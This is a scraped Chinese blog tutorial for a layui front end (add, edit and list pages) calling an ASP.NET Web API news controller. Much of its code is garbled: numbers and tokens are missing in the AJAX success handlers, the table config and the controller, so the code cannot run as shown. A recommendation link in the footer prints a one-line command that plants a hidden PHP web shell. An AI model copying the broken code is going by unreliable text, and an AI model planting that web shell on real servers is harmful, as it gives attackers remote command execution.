html+layui

添加html+layui项目

先引用一个js文件

<form class="layui-form" action="">
    <link href="js/layui/css/layui.css" rel="stylesheet" />
    <script src="js/jquery-3.3.1.js"></script>
    <script src="js/layui/layui.js"></script>
    <div class="layui-form-item">
        <label class="layui-form-label">输入框</label>
        <div class="layui-input-block">
            <input id="Rname" type="text" name="title" required lay-verify="required" placeholder="请输入标题" autocomplete="off" class="layui-input">
        </div>
    </div>
    <div class="layui-form-item layui-form-text">
        <label class="layui-form-label">文本域</label>
        <div class="layui-input-block">
            <textarea id="Reamk" name="desc" placeholder="请输入内容" class="layui-textarea"></textarea>
        </div>
    </div>
    <div class="layui-form-item">
        <div class="layui-input-block">
            <button class="layui-btn" type="button" lay-filter="formDemo" onclick="fun1()">立即提交</button>
            <button type="reset" class="layui-btn layui-btn-primary">重置</button>
        </div>
    </div>
</form>

<script>
    //Demo
    layui.use('form', function () {
        var form = layui.form;

        //监听提交
        form.on('submit(formDemo)', function (data) {
            layer.msg(JSON.stringify(data.field));
            return false;
        });
    });
    function fun1() {
        $.ajax({
            url: 'https://localhost:44398/api/index/PostAdd',
            type: 'post',
            data: { NewsName: $("#Rname").val(), Reamk: $("#Reamk").val() },
            success: function (d) {
                ) {
                    alert('添加成功!');
                    location.href = 'Index.html';
                }
            }
        })
    }
</script>

edit

<form class="layui-form" action="">
    <link href="js/layui/css/layui.css" rel="stylesheet" />
    <script src="js/jquery-3.3.1.js"></script>
    <script src="js/layui/layui.js"></script>
    <div class="layui-form-item">
        <label class="layui-form-label">输入框</label>
        <div class="layui-input-block">
            <input type="hidden" id="UId" />
            <input id="Rname" type="text" name="title" required lay-verify="required" placeholder="请输入标题" autocomplete="off" class="layui-input">
        </div>
    </div>
    <div class="layui-form-item layui-form-text">
        <label class="layui-form-label">文本域</label>
        <div class="layui-input-block">
            <textarea id="Reamk" name="desc" placeholder="请输入内容" class="layui-textarea"></textarea>
        </div>
    </div>
    <div class="layui-form-item">
        <div class="layui-input-block">
            <button class="layui-btn" type="button" lay-filter="formDemo" onclick="fun1()">立即提交</button>
            <button type="reset" class="layui-btn layui-btn-primary">重置</button>
        </div>
    </div>
</form>

<script>
    //Demo
    layui.use('form', function () {
        var form = layui.form;

        //监听提交
        form.on('submit(formDemo)', function (data) {
            layer.msg(JSON.stringify(data.field));
            return false;
        });
    });
    ];
    Fantian();
    function Fantian() {
        $.ajax({
            url: 'https://localhost:44398/api/index/FindMo/' + Id,
            type: 'get',
            data: {},
            dataType:'json',
            success: function (d) {
                $("#UId").val(d.Id);
                $("#Rname").val(d.NewsName),
                $("#Reamk").val(d.Reamk)
            }
        })
    }
    function fun1() {
        $.ajax({
            url: 'https://localhost:44398/api/index/UpdateNews',
            type: 'post',
            data: { Id:$("#UId").val(),NewsName: $("#Rname").val(), Reamk: $("#Reamk").val() },
            success: function (d) {
                ) {
                    alert('修改成功!');
                    location.href = 'Index.html';
                }
            }
        })
    }
</script>

index

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <link href="js/layui/css/layui.css" rel="stylesheet" />
    <script src="js/jquery-3.3.1.js"></script>
    <script src="js/layui/layui.js"></script>
</head>
<body>
    <a href="Add.html">添加新闻信息</a>
    <script type="text/html" id="barDemo">
        <a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="detail">查看</a>
        <a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
        <a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
    </script>
    <table id="demo" lay-filter="test"></table>

    <script>
        layui.use('table', function () {
            var table = layui.table;

            //第一个实例
            var ta = table.render({
                elem: '#demo'
                , height:
                , url: 'https://localhost:44398/api/index/getnews' //数据接口
                , page: true //开启分页
                , limit:
                , cols: [[ //表头
                    { field: , sort: true, fixed: 'left' }
                    , { field:  }
                    , { field: , sort: true }
                    , { , align: 'center', toolbar: '#barDemo' }
                ]]
            });

            //监听行工具事件
            table.on('tool(test)', function (obj) { //注：tool 是工具条事件名，test 是 table 原始容器的属性 lay-filter="对应的值"
                var data = obj.data //获得当前行数据
                    , layEvent = obj.event; //获得 lay-event 对应的值
                if (layEvent === 'detail') {
                    layer.msg('查看操作');
                } else if (layEvent === 'del') {
                    layer.confirm('真的删除行么', function (index) {

                        layer.close(index);
                        //向服务端发送删除指令
                        $.ajax({
                            url: 'https://localhost:44398/api/index/RomveNews?Id=' + data.Id,
                            type: 'post',
                            success: function (d) {
                                ) {
                                    alert('删除成功!');
                                    ta.reload();
                                }
                            }
                        })
                    });
                } else if (layEvent === 'edit') {
                    location.href = 'Edit.html?Id=' + data.Id;
                }
            });
        });
    </script>
</body>
</html>

新建一个文件

IndexController

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
using WebApplication1.Models;
using System.Data.SqlClient;

namespace WebApplication1.Controllers
{
    public class IndexController : ApiController
    {
        Dbtext db = new Dbtext();

        public int PostAdd(NewInfo model)
        {
            //db.NewInfo.Add(model);
            //return db.SaveChanges();

            //设置参数
            SqlParameter[] sqlParameters = new SqlParameter[] {
                new SqlParameter{ ParameterName="NewsName", SqlDbType=System.Data.SqlDbType.VarChar, SqlValue=model.NewsName },
                new SqlParameter{ ParameterName="Reamk", SqlDbType=System.Data.SqlDbType.VarChar, SqlValue=model.Reamk },
            };
            return db.Database.ExecuteSqlCommand("InsertProc @NewsName,@Reamk", sqlParameters);
        }
        public ReturnModel GetNews(int page,int  limit)
        {
            SqlParameter[] sqlParameters = new SqlParameter[] {
                new SqlParameter{ ParameterName="pageIndex", SqlDbType=System.Data.SqlDbType.Int,SqlValue=page},
                new SqlParameter{ ParameterName="pageSize", SqlDbType=System.Data.SqlDbType.Int,SqlValue=limit},
                new SqlParameter{ ParameterName="TotalCount", SqlValue=System.Data.SqlDbType.Int,Direction=System.Data.ParameterDirection.Output }
            };
            List<NewInfo> list = db.Database.SqlQuery<NewInfo>("layUiPage @pageIndex,@pageSize,@TotalCount", sqlParameters).Cast<NewInfo>().ToList();
            ReturnModel model = new ReturnModel();
            model.code = ;
            model.msg = "成功!";
            model.count =;
            model.data = list;
            return model;
        }
        public int RomveNews(int Id)
        {
            NewInfo news = db.NewInfo.Find(Id);
            db.NewInfo.Remove(news);
            return db.SaveChanges();
        }
        [HttpGet]
        public NewInfo FindMo(int Id)
        {
            NewInfo news = db.NewInfo.Find(Id);
            return news;
        }
        public int UpdateNews(NewInfo model)
        {
            db.Entry<NewInfo>(model).State = System.Data.Entity.EntityState.Modified;
            return db.SaveChanges();
        }
    }
}

models

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace WebApplication1.Models
{
    public class ReturnModel
    {
        public int code { get; set; }
        public string msg { get; set; }
        public int count { get; set; }
        public List<NewInfo> data { get; set; }
    }
}

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.Entity;

namespace WebApplication1.Models
{
    public class Dbtext : DbContext
    {
        public Dbtext()  { 

        }
        public DbSet<NewInfo> NewInfo { get; set; }
    }
}

Web.config

需要跨域

html+layui的更多相关文章

layui常用方法
很好用的一个ui组件,弹出,分页等 http://layer.layui.com/ 1 带叉叉的弹窗 layer.open({ type: , title: false, //不显示标题 conten ...
开源网站.NETMVC+ Layui+SqlSugar+RestSharp
SugarSite一个前端支持移动端的企业网站,目前只支持了简单功能,后续还会加上论坛等. 源码GIT地址: https://github.com/sunkaixuan/SugarSite 技术介绍 ...
分页组件 - layui.laypage
<!doctype html> <html> <head> <meta charset="utf-8"> <title> ...
日期时间组件 - layui.laydate
全部参数一.核心方法:laydate(options); options是一个对象,它包含了以下key: '默认值' { elem: '#id', //需显示日期的元素选择器 event: 'cli ...
关于layui
之前用layer用了很长时间,感觉很好用,最近看到了layui的发布很想尝试尝试. 加入了挺多的功能,比如编辑器,上传,form表单等等.
日期控件,layui
<link rel="stylesheet" href="<%=path%>/layui/css/layui.css" type=" ...
使用的组件：Layui
Layui 经典模块化前端框架由职业前端倾情打造,面向所有层次的前后端程序猿,中国最容易使用的前端UI解决方案 Layui 出蛋于2016年金秋,是一款带着浓烈情怀的国产前端UI框架,她追求极简,又 ...
【开源项目SugarSite】ASP.NET MVC+ Layui+ SqlSugar+RestSharp项目讲解
SugarSite一个前端支持移动端的企业网站,目前只支持了简单功能,后续还会加上论坛等. 源码GIT地址: https://github.com/sunkaixuan/SugarSite 技术介绍 ...
前端框架layui
可以了解下jQuery组件layer layui开始使用Layui兼容除IE6/7以外的全部浏览器,并且绝大多数结构支持响应式弹出层如果你使用的是Layui,那么你直接在官网下载layui框架即可, ...
Layui - 示例
示例地址 http://www.layui.com/demo/ 下载地址 http://www.layui.com/ 示例代码 <!doctype html> <html> & ...

随机推荐

编写 Django 应用单元测试
作者:HelloGitHub-追梦人物文中所涉及的示例代码,已同步更新到 HelloGitHub-Team 仓库我们博客功能越来越来完善了,但这也带来了一个问题,我们不敢轻易地修改已有功能的代码了 ...
os.path.join() - 忽略绝对路径前的参数
os.path.join()会忽略第一个绝对路径之前的参数! 示例: >>> import os >>> os.path.join('/home', 'mushro ...
Iterator Protocol - Python 描述符协议
Iterator Protocol - Python 描述符协议先看几个有关概念, iterator 迭代器, 一个实现了无参数的 __next__ 方法, 并返回 '序列'中下一个元素,在没有更多 ...
vue学习（三）完善模板页(bootstrap+AdminLTE)
1.配置index.html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> ...
2020 年中国.NET开发者调查报告
微信公众号dotnet跨平台2020年初做的一个关于中国.NET开发者调查收到了开发者近 1400 条回复.这份调查报告涵盖了开发者工具链的所有部分,包括编程语言.应用架构.应用服务器.运行时平台.框 ...
隐藏Web Shell
隐藏Webshell $ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.ph ...
Nodejs中，path.join()和path.resolve()的区别
在说path.join()和path.resolve()的区别之前,我先说下文件路径/和./和../之间的区别 /代表的是根目录: ./代表的是当前目录: ../代表的是父级目录. 然后再来说下pat ...
SQLPLUS ed无法调出编辑面板 SP2-0107:无须保存
现象: 重新启动oracle启动sqlplus,首先执行ed命令时出错,没有调出编辑命令的文件: SQL> edSP2-0107: 无须保存. 分析:出错的原因可能是临时编辑文件中没有需要执行的 ...
源码浅析：InnoDB聚集索引如何定位到数据的物理位置，并从磁盘读取
索引结构概述: MyISAM索引文件和数据文件是分离的,索引文件仅保存数据记录的地址.这与Oracle的索引结构相似,比较好理解.那么,常用的Innodb聚集索引结构是怎样的呢? InnoDB的数据文 ...
mysql数据库技术1——基本的增删查改的sql语句
1.数据库语言的分类 DDL:数据库定义语言 data Definition language 用于创建.修改.和删除数据库内的数据结构,如: 1:创建和删除数据库(CREATE DATABASE | ...

html+layui

html+layui的更多相关文章

随机推荐

热门专题